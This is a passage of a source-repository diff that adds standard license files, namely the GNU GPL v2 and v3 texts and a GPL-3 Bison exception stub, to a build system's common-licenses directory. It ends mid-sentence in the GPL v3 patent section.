+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public License is intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users. This General Public License applies to
+most of the Free Software Foundation's software and to any other program whose
+authors commit to using it. (Some other Free Software Foundation software
+is covered by the GNU Lesser General Public License instead.) You can apply
+it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish), that you receive source code or can get it if you want it, that you
+can change the software or use pieces of it in new free programs; and that
+you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or
+for a fee, you must give the recipients all the rights that you have. You
+must make sure that they, too, receive or can get the source code. And you
+must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software. If
+the software is modified by someone else and passed on, we want its recipients
+to know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We
+wish to avoid the danger that redistributors of a free program will individually
+obtain patent licenses, in effect making the program proprietary. To prevent
+this, we have made it clear that any patent must be licensed for everyone's
+free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice
+placed by the copyright holder saying it may be distributed under the terms
+of this General Public License. The "Program", below, refers to any such program
+or work, and a "work based on the Program" means either the Program or any
+derivative work under copyright law: that is to say, a work containing the
+Program or a portion of it, either verbatim or with modifications and/or translated
+into another language. (Hereinafter, translation is included without limitation
+in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running the Program
+is not restricted, and the output from the Program is covered only if its
+contents constitute a work based on the Program (independent of having been
+made by running the Program). Whether that is true depends on what the Program
+does.
+
+1. You may copy and distribute verbatim copies of the Program's source code
+as you receive it, in any medium, provided that you conspicuously and appropriately
+publish on each copy an appropriate copyright notice and disclaimer of warranty;
+keep intact all the notices that refer to this License and to the absence
+of any warranty; and give any other recipients of the Program a copy of this
+License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it,
+thus forming a work based on the Program, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+a) You must cause the modified files to carry prominent notices stating that
+you changed the files and the date of any change.
+
+b) You must cause any work that you distribute or publish, that in whole or
+in part contains or is derived from the Program or any part thereof, to be
+licensed as a whole at no charge to all third parties under the terms of this
+License.
+
+c) If the modified program normally reads commands interactively when run,
+you must cause it, when started running for such interactive use in the most
+ordinary way, to print or display an announcement including an appropriate
+copyright notice and a notice that there is no warranty (or else, saying that
+you provide a warranty) and that users may redistribute the program under
+these conditions, and telling the user how to view a copy of this License.
+(Exception: if the Program itself is interactive but does not normally print
+such an announcement, your work based on the Program is not required to print
+an announcement.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Program, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Program, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Program.
+
+In addition, mere aggregation of another work not based on the Program with
+the Program (or with a work based on the Program) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section
+2) in object code or executable form under the terms of Sections 1 and 2 above
+provided that you also do one of the following:
+
+a) Accompany it with the complete corresponding machine-readable source code,
+which must be distributed under the terms of Sections 1 and 2 above on a medium
+customarily used for software interchange; or,
+
+b) Accompany it with a written offer, valid for at least three years, to give
+any third party, for a charge no more than your cost of physically performing
+source distribution, a complete machine-readable copy of the corresponding
+source code, to be distributed under the terms of Sections 1 and 2 above on
+a medium customarily used for software interchange; or,
+
+c) Accompany it with the information you received as to the offer to distribute
+corresponding source code. (This alternative is allowed only for noncommercial
+distribution and only if you received the program in object code or executable
+form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making
+modifications to it. For an executable work, complete source code means all
+the source code for all modules it contains, plus any associated interface
+definition files, plus the scripts used to control compilation and installation
+of the executable. However, as a special exception, the source code distributed
+need not include anything that is normally distributed (in either source or
+binary form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component itself
+accompanies the executable.
+
+If distribution of executable or object code is made by offering access to
+copy from a designated place, then offering equivalent access to copy the
+source code from the same place counts as distribution of the source code,
+even though third parties are not compelled to copy the source along with
+the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except
+as expressly provided under this License. Any attempt otherwise to copy, modify,
+sublicense or distribute the Program is void, and will automatically terminate
+your rights under this License. However, parties who have received copies,
+or rights, from you under this License will not have their licenses terminated
+so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Program or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Program
+(or any work based on the Program), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor
+to copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of
+the rights granted herein. You are not responsible for enforcing compliance
+by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Program at all. For example, if a
+patent license would not permit royalty-free redistribution of the Program
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply and
+the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system, which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Program under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+9. The Free Software Foundation may publish revised and/or new versions of
+the General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Program does not specify a version number of this License, you may choose
+any version ever published by the Free Software Foundation.
+
+10. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission. For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing and reuse
+of software generally.
+
+ NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and an idea of what it does.>
+
+Copyright (C) <yyyy> <name of author>
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation; either version 2 of the License, or (at your option) any later
+version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program; if not, write to the Free Software Foundation, Inc., 51 Franklin
+Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when
+it starts in an interactive mode:
+
+Gnomovision version 69, Copyright (C) year name of author Gnomovision comes
+with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software,
+and you are welcome to redistribute it under certain conditions; type `show
+c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may be
+called something other than `show w' and `show c'; they could even be mouse-clicks
+or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision'
+(which makes passes at compilers) written by James Hacker.
+
+<signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General
+Public License does not permit incorporating your program into proprietary
+programs. If your program is a subroutine library, you may consider it more
+useful to permit linking proprietary applications with the library. If this
+is what you want to do, use the GNU Lesser General Public License instead
+of this License.
diff --git a/meta/files/common-licenses/GPL-3-with-bison-exception b/meta/files/common-licenses/GPL-3-with-bison-exception
new file mode 100644
index 0000000000..d48c6241ac
--- /dev/null
+++ b/meta/files/common-licenses/GPL-3-with-bison-exception
@@ -0,0 +1,7 @@
+
+insert GPL v3 text here
+
+Bison Exception
+As a special exception, you may create a larger work that contains part or all of the Bison parser skeleton and distribute that work under terms of your choice, so long as that work isn`t itself a parser generator using the skeleton or a modified version thereof as a parser skeleton. Alternatively, if you modify or redistribute the parser skeleton itself, you may (at your option) remove this special exception, which will cause the skeleton and the resulting Bison output files to be licensed under the GNU General Public License without this special exception.
+This special exception was added by the Free Software Foundation in version 2.2 of Bison.
+
diff --git a/meta/files/common-licenses/GPL-3.0 b/meta/files/common-licenses/GPL-3.0-only
index e0665a64a8..e0665a64a8 100644
--- a/meta/files/common-licenses/GPL-3.0
+++ b/meta/files/common-licenses/GPL-3.0-only
diff --git a/meta/files/common-licenses/GPL-3.0-or-later b/meta/files/common-licenses/GPL-3.0-or-later
new file mode 100644
index 0000000000..e142a525bd
--- /dev/null
+++ b/meta/files/common-licenses/GPL-3.0-or-later
@@ -0,0 +1,625 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 3, 29 June 2007
+
+Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The GNU General Public License is a free, copyleft license for software and
+other kinds of works.
+
+The licenses for most software and other practical works are designed to take
+away your freedom to share and change the works. By contrast, the GNU General
+Public License is intended to guarantee your freedom to share and change all
+versions of a program--to make sure it remains free software for all its users.
+We, the Free Software Foundation, use the GNU General Public License for most
+of our software; it applies also to any other work released this way by its
+authors. You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for them if you wish), that
+you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs, and that you know you
+can do these things.
+
+To protect your rights, we need to prevent others from denying you these rights
+or asking you to surrender the rights. Therefore, you have certain responsibilities
+if you distribute copies of the software, or if you modify it: responsibilities
+to respect the freedom of others.
+
+For example, if you distribute copies of such a program, whether gratis or
+for a fee, you must pass on to the recipients the same freedoms that you received.
+You must make sure that they, too, receive or can get the source code. And
+you must show them these terms so they know their rights.
+
+Developers that use the GNU GPL protect your rights with two steps: (1) assert
+copyright on the software, and (2) offer you this License giving you legal
+permission to copy, distribute and/or modify it.
+
+For the developers' and authors' protection, the GPL clearly explains that
+there is no warranty for this free software. For both users' and authors'
+sake, the GPL requires that modified versions be marked as changed, so that
+their problems will not be attributed erroneously to authors of previous versions.
+
+Some devices are designed to deny users access to install or run modified
+versions of the software inside them, although the manufacturer can do so.
+This is fundamentally incompatible with the aim of protecting users' freedom
+to change the software. The systematic pattern of such abuse occurs in the
+area of products for individuals to use, which is precisely where it is most
+unacceptable. Therefore, we have designed this version of the GPL to prohibit
+the practice for those products. If such problems arise substantially in other
+domains, we stand ready to extend this provision to those domains in future
+versions of the GPL, as needed to protect the freedom of users.
+
+Finally, every program is threatened constantly by software patents. States
+should not allow patents to restrict development and use of software on general-purpose
+computers, but in those that do, we wish to avoid the special danger that
+patents applied to a free program could make it effectively proprietary. To
+prevent this, the GPL assures that patents cannot be used to render the program
+non-free.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+"Copyright" also means copyright-like laws that apply to other kinds of works,
+such as semiconductor masks.
+
+"The Program" refers to any copyrightable work licensed under this License.
+Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals
+or organizations.
+
+To "modify" a work means to copy from or adapt all or part of the work in
+a fashion requiring copyright permission, other than the making of an exact
+copy. The resulting work is called a "modified version" of the earlier work
+or a work "based on" the earlier work.
+
+A "covered work" means either the unmodified Program or a work based on the
+Program.
+
+To "propagate" a work means to do anything with it that, without permission,
+would make you directly or secondarily liable for infringement under applicable
+copyright law, except executing it on a computer or modifying a private copy.
+Propagation includes copying, distribution (with or without modification),
+making available to the public, and in some countries other activities as
+well.
+
+To "convey" a work means any kind of propagation that enables other parties
+to make or receive copies. Mere interaction with a user through a computer
+network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays "Appropriate Legal Notices" to the
+extent that it includes a convenient and prominently visible feature that
+(1) displays an appropriate copyright notice, and (2) tells the user that
+there is no warranty for the work (except to the extent that warranties are
+provided), that licensees may convey the work under this License, and how
+to view a copy of this License. If the interface presents a list of user commands
+or options, such as a menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+The "source code" for a work means the preferred form of the work for making
+modifications to it. "Object code" means any non-source form of a work.
+
+A "Standard Interface" means an interface that either is an official standard
+defined by a recognized standards body, or, in the case of interfaces specified
+for a particular programming language, one that is widely used among developers
+working in that language.
+
+The "System Libraries" of an executable work include anything, other than
+the work as a whole, that (a) is included in the normal form of packaging
+a Major Component, but which is not part of that Major Component, and (b)
+serves only to enable use of the work with that Major Component, or to implement
+a Standard Interface for which an implementation is available to the public
+in source code form. A "Major Component", in this context, means a major essential
+component (kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to produce
+the work, or an object code interpreter used to run it.
+
+The "Corresponding Source" for a work in object code form means all the source
+code needed to generate, install, and (for an executable work) run the object
+code and to modify the work, including scripts to control those activities.
+However, it does not include the work's System Libraries, or general-purpose
+tools or generally available free programs which are used unmodified in performing
+those activities but which are not part of the work. For example, Corresponding
+Source includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically linked
+subprograms that the work is specifically designed to require, such as by
+intimate data communication or control flow between those subprograms and
+other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate
+automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+All rights granted under this License are granted for the term of copyright
+on the Program, and are irrevocable provided the stated conditions are met.
+This License explicitly affirms your unlimited permission to run the unmodified
+Program. The output from running a covered work is covered by this License
+only if the output, given its content, constitutes a covered work. This License
+acknowledges your rights of fair use or other equivalent, as provided by copyright
+law.
+
+You may make, run and propagate covered works that you do not convey, without
+conditions so long as your license otherwise remains in force. You may convey
+covered works to others for the sole purpose of having them make modifications
+exclusively for you, or provide you with facilities for running those works,
+provided that you comply with the terms of this License in conveying all material
+for which you do not control copyright. Those thus making or running the covered
+works for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of your copyrighted
+material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions
+stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+No covered work shall be deemed part of an effective technological measure
+under any applicable law fulfilling obligations under article 11 of the WIPO
+copyright treaty adopted on 20 December 1996, or similar laws prohibiting
+or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention
+of technological measures to the extent such circumvention is effected by
+exercising rights under this License with respect to the covered work, and
+you disclaim any intention to limit operation or modification of the work
+as a means of enforcing, against the work's users, your or third parties'
+legal rights to forbid circumvention of technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+You may convey verbatim copies of the Program's source code as you receive
+it, in any medium, provided that you conspicuously and appropriately publish
+on each copy an appropriate copyright notice; keep intact all notices stating
+that this License and any non-permissive terms added in accord with section
+7 apply to the code; keep intact all notices of the absence of any warranty;
+and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you
+may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+You may convey a work based on the Program, or the modifications to produce
+it from the Program, in the form of source code under the terms of section
+4, provided that you also meet all of these conditions:
+
+a) The work must carry prominent notices stating that you modified it, and
+giving a relevant date.
+
+b) The work must carry prominent notices stating that it is released under
+this License and any conditions added under section 7. This requirement modifies
+the requirement in section 4 to "keep intact all notices".
+
+c) You must license the entire work, as a whole, under this License to anyone
+who comes into possession of a copy. This License will therefore apply, along
+with any applicable section 7 additional terms, to the whole of the work,
+and all its parts, regardless of how they are packaged. This License gives
+no permission to license the work in any other way, but it does not invalidate
+such permission if you have separately received it.
+
+d) If the work has interactive user interfaces, each must display Appropriate
+Legal Notices; however, if the Program has interactive interfaces that do
+not display Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works,
+which are not by their nature extensions of the covered work, and which are
+not combined with it such as to form a larger program, in or on a volume of
+a storage or distribution medium, is called an "aggregate" if the compilation
+and its resulting copyright are not used to limit the access or legal rights
+of the compilation's users beyond what the individual works permit. Inclusion
+of a covered work in an aggregate does not cause this License to apply to
+the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+You may convey a covered work in object code form under the terms of sections
+4 and 5, provided that you also convey the machine-readable Corresponding
+Source under the terms of this License, in one of these ways:
+
+a) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by the Corresponding Source fixed
+on a durable physical medium customarily used for software interchange.
+
+b) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by a written offer, valid for
+at least three years and valid for as long as you offer spare parts or customer
+support for that product model, to give anyone who possesses the object code
+either (1) a copy of the Corresponding Source for all the software in the
+product that is covered by this License, on a durable physical medium customarily
+used for software interchange, for a price no more than your reasonable cost
+of physically performing this conveying of source, or (2) access to copy the
+Corresponding Source from a network server at no charge.
+
+c) Convey individual copies of the object code with a copy of the written
+offer to provide the Corresponding Source. This alternative is allowed only
+occasionally and noncommercially, and only if you received the object code
+with such an offer, in accord with subsection 6b.
+
+d) Convey the object code by offering access from a designated place (gratis
+or for a charge), and offer equivalent access to the Corresponding Source
+in the same way through the same place at no further charge. You need not
+require recipients to copy the Corresponding Source along with the object
+code. If the place to copy the object code is a network server, the Corresponding
+Source may be on a different server (operated by you or a third party) that
+supports equivalent copying facilities, provided you maintain clear directions
+next to the object code saying where to find the Corresponding Source. Regardless
+of what server hosts the Corresponding Source, you remain obligated to ensure
+that it is available for as long as needed to satisfy these requirements.
+
+e) Convey the object code using peer-to-peer transmission, provided you inform
+other peers where the object code and Corresponding Source of the work are
+being offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from
+the Corresponding Source as a System Library, need not be included in conveying
+the object code work.
+
+A "User Product" is either (1) a "consumer product", which means any tangible
+personal property which is normally used for personal, family, or household
+purposes, or (2) anything designed or sold for incorporation into a dwelling.
+In determining whether a product is a consumer product, doubtful cases shall
+be resolved in favor of coverage. For a particular product received by a particular
+user, "normally used" refers to a typical or common use of that class of product,
+regardless of the status of the particular user or of the way in which the
+particular user actually uses, or expects or is expected to use, the product.
+A product is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent the
+only significant mode of use of the product.
+
+"Installation Information" for a User Product means any methods, procedures,
+authorization keys, or other information required to install and execute modified
+versions of a covered work in that User Product from a modified version of
+its Corresponding Source. The information must suffice to ensure that the
+continued functioning of the modified object code is in no case prevented
+or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically
+for use in, a User Product, and the conveying occurs as part of a transaction
+in which the right of possession and use of the User Product is transferred
+to the recipient in perpetuity or for a fixed term (regardless of how the
+transaction is characterized), the Corresponding Source conveyed under this
+section must be accompanied by the Installation Information. But this requirement
+does not apply if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has been installed
+in ROM).
+
+The requirement to provide Installation Information does not include a requirement
+to continue to provide support service, warranty, or updates for a work that
+has been modified or installed by the recipient, or for the User Product in
+which it has been modified or installed. Access to a network may be denied
+when the modification itself materially and adversely affects the operation
+of the network or violates the rules and protocols for communication across
+the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord
+with this section must be in a format that is publicly documented (and with
+an implementation available to the public in source code form), and must require
+no special password or key for unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+"Additional permissions" are terms that supplement the terms of this License
+by making exceptions from one or more of its conditions. Additional permissions
+that are applicable to the entire Program shall be treated as though they
+were included in this License, to the extent that they are valid under applicable
+law. If additional permissions apply only to part of the Program, that part
+may be used separately under those permissions, but the entire Program remains
+governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any
+additional permissions from that copy, or from any part of it. (Additional
+permissions may be written to require their own removal in certain cases when
+you modify the work.) You may place additional permissions on material, added
+by you to a covered work, for which you have or can give appropriate copyright
+permission.
+
+Notwithstanding any other provision of this License, for material you add
+to a covered work, you may (if authorized by the copyright holders of that
+material) supplement the terms of this License with terms:
+
+a) Disclaiming warranty or limiting liability differently from the terms of
+sections 15 and 16 of this License; or
+
+b) Requiring preservation of specified reasonable legal notices or author
+attributions in that material or in the Appropriate Legal Notices displayed
+by works containing it; or
+
+c) Prohibiting misrepresentation of the origin of that material, or requiring
+that modified versions of such material be marked in reasonable ways as different
+from the original version; or
+
+d) Limiting the use for publicity purposes of names of licensors or authors
+of the material; or
+
+e) Declining to grant rights under trademark law for use of some trade names,
+trademarks, or service marks; or
+
+f) Requiring indemnification of licensors and authors of that material by
+anyone who conveys the material (or modified versions of it) with contractual
+assumptions of liability to the recipient, for any liability that these contractual
+assumptions directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered "further restrictions"
+within the meaning of section 10. If the Program as you received it, or any
+part of it, contains a notice stating that it is governed by this License
+along with a term that is a further restriction, you may remove that term.
+If a license document contains a further restriction but permits relicensing
+or conveying under this License, you may add to a covered work material governed
+by the terms of that license document, provided that the further restriction
+does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place,
+in the relevant source files, a statement of the additional terms that apply
+to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form
+of a separately written license, or stated as exceptions; the above requirements
+apply either way.
+
+ 8. Termination.
+
+You may not propagate or modify a covered work except as expressly provided
+under this License. Any attempt otherwise to propagate or modify it is void,
+and will automatically terminate your rights under this License (including
+any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from
+a particular copyright holder is reinstated (a) provisionally, unless and
+until the copyright holder explicitly and finally terminates your license,
+and (b) permanently, if the copyright holder fails to notify you of the violation
+by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently
+if the copyright holder notifies you of the violation by some reasonable means,
+this is the first time you have received notice of violation of this License
+(for any work) from that copyright holder, and you cure the violation prior
+to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses
+of parties who have received copies or rights from you under this License.
+If your rights have been terminated and not permanently reinstated, you do
+not qualify to receive new licenses for the same material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+You are not required to accept this License in order to receive or run a copy
+of the Program. Ancillary propagation of a covered work occurring solely as
+a consequence of using peer-to-peer transmission to receive a copy likewise
+does not require acceptance. However, nothing other than this License grants
+you permission to propagate or modify any covered work. These actions infringe
+copyright if you do not accept this License. Therefore, by modifying or propagating
+a covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+Each time you convey a covered work, the recipient automatically receives
+a license from the original licensors, to run, modify and propagate that work,
+subject to this License. You are not responsible for enforcing compliance
+by third parties with this License.
+
+An "entity transaction" is a transaction transferring control of an organization,
+or substantially all assets of one, or subdividing an organization, or merging
+organizations. If propagation of a covered work results from an entity transaction,
+each party to that transaction who receives a copy of the work also receives
+whatever licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the Corresponding
+Source of the work from the predecessor in interest, if the predecessor has
+it or can get it with reasonable efforts.
+
+You may not impose any further restrictions on the exercise of the rights
+granted or affirmed under this License. For example, you may not impose a
+license fee, royalty, or other charge for exercise of rights granted under
+this License, and you may not initiate litigation (including a cross-claim
+or counterclaim in a lawsuit) alleging that any patent claim is infringed
+by making, using, selling, offering for sale, or importing the Program or
+any portion of it.
+
+ 11. Patents.
+
+A "contributor" is a copyright holder who authorizes use under this License
+of the Program or a work on which the Program is based. The work thus licensed
+is called the contributor's "contributor version".
+
+A contributor's "essential patent claims" are all patent claims owned or controlled
+by the contributor, whether already acquired or hereafter acquired, that would
+be infringed by some manner, permitted by this License, of making, using,
+or selling its contributor version, but do not include claims that would be
+infringed only as a consequence of further modification of the contributor
+version. For purposes of this definition, "control" includes the right to
+grant patent sublicenses in a manner consistent with the requirements of this
+License.
+
+Each contributor grants you a non-exclusive, worldwide, royalty-free patent
+license under the contributor's essential patent claims, to make, use, sell,
+offer for sale, import and otherwise run, modify and propagate the contents
+of its contributor version.
+
+In the following three paragraphs, a "patent license" is any express agreement
+or commitment, however denominated, not to enforce a patent (such as an express
+permission to practice a patent or covenant not to sue for patent infringement).
+To "grant" such a patent license to a party means to make such an agreement
+or commitment not to enforce a patent against the party.
+
+If you convey a covered work, knowingly relying on a patent license, and the
+Corresponding Source of the work is not available for anyone to copy, free
+of charge and under the terms of this License, through a publicly available
+network server or other readily accessible means, then you must either (1)
+cause the Corresponding Source to be so available, or (2) arrange to deprive
+yourself of the benefit of the patent license for this particular work, or
+(3) arrange, in a manner consistent with the requirements of this License,
+to extend the patent license to downstream recipients. "Knowingly relying"
+means you have actual knowledge that, but for the patent license, your conveying
+the covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that country
+that you have reason to believe are valid.
+
+If, pursuant to or in connection with a single transaction or arrangement,
+you convey, or propagate by procuring conveyance of, a covered work, and grant
+a patent license to some of the parties receiving the covered work authorizing
+them to use, propagate, modify or convey a specific copy of the covered work,
+then the patent license you grant is automatically extended to all recipients
+of the covered work and works based on it.
+
+A patent license is "discriminatory" if it does not include within the scope
+of its coverage, prohibits the exercise of, or is conditioned on the non-exercise
+of one or more of the rights that are specifically granted under this License.
+You may not convey a covered work if you are a party to an arrangement with
+a third party that is in the business of distributing software, under which
+you make payment to the third party based on the extent of your activity of
+conveying the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory patent
